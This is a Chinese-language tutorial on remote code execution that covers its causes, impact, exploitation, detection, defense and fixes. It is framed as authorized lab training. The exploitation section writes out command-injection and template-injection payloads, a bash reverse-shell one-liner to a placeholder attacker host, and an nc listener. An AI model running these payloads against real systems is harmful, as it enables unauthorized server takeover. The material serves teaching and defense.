RCE:代码执行与命令执行实战

RCE 大类实战:命令执行、代码执行、反序列化与框架漏洞等入口,原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

RCE 测试只允许在自建靶场或授权环境进行。对真实系统执行命令、反弹 Shell 可能触犯法律。

一、漏洞原理

RCE(远程代码/命令执行)是一个大类,凡是“服务器执行了攻击者控制的内容”都属于它。

常见入口:

1
2
3
4
5
命令执行:拼接系统命令(ping、eval、模板)
代码执行:eval、动态函数、模板注入
反序列化:加载恶意对象
框架漏洞:Struts2、ThinkPHP、Fastjson、Log4j
组件漏洞:上传 WebShell 后执行

共同本质:不可信输入进入了可执行路径

二、影响与危害

1
2
3
完全控制服务器
读取/篡改数据、植入后门
内网横向移动

风险等级:严重,几乎是渗透的最终目标之一。

三、利用 / 复现

命令执行

1
2
3
# 参数拼接命令
curl "http://目标/ping?ip=127.0.0.1;id"
curl "http://目标/ping?ip=127.0.0.1 && whoami"

代码执行

1
2
3
模板注入(SSTI):{{7*7}} 验证
eval 型接口传代码
动态函数名参数

验证与反弹

1
2
3
4
# 先验证,再反弹
curl "http://目标/?cmd=id"
# 反弹 Shell
bash -i >& /dev/tcp/攻击机/4444 0>&1

配合 nc 监听:

1
nc -lvnp 4444

复现操作步骤

1
2
3
4
第 1 步:找命令/模板执行入口(ping/搜索/导出/模板)
第 2 步:命令注入试 ;id、| whoami;SSTI 试 {{7*7}}、${7*7}
第 3 步:看命令输出或 49 回显 —— 回显即确认
第 4 步:确认后反弹 Shell(授权内)

四、检测

1
2
3
4
日志中找 ;、|、&&、`、${} 等命令分隔符
SSTI 特征 {{、${、#{ 等模板标记
对 RCE 类组件(Fastjson/Log4j/Struts2)做指纹
异常子进程与出站连接

五、防御

1
2
3
4
5
参数化调用,不拼 shell 字符串
禁用危险函数/动态执行
过滤命令分隔符与模板标记
输入白名单与最小权限
WAF 拦截命令执行特征

六、修复

1
2
3
4
代码层:改用安全 API、删 eval/危险函数
组件层:升级框架与依赖(Struts2/Fastjson/Log4j 等)
系统层:最小权限、补丁、网络隔离
修复后复测:命令与模板 payload 均不再执行

七、小结

RCE 是很多攻击链的“终点”。它入口很多(命令、代码、反序列化、组件),但本质一致——让服务器执行攻击者可控的东西。防御要代码、组件、系统三层一起做。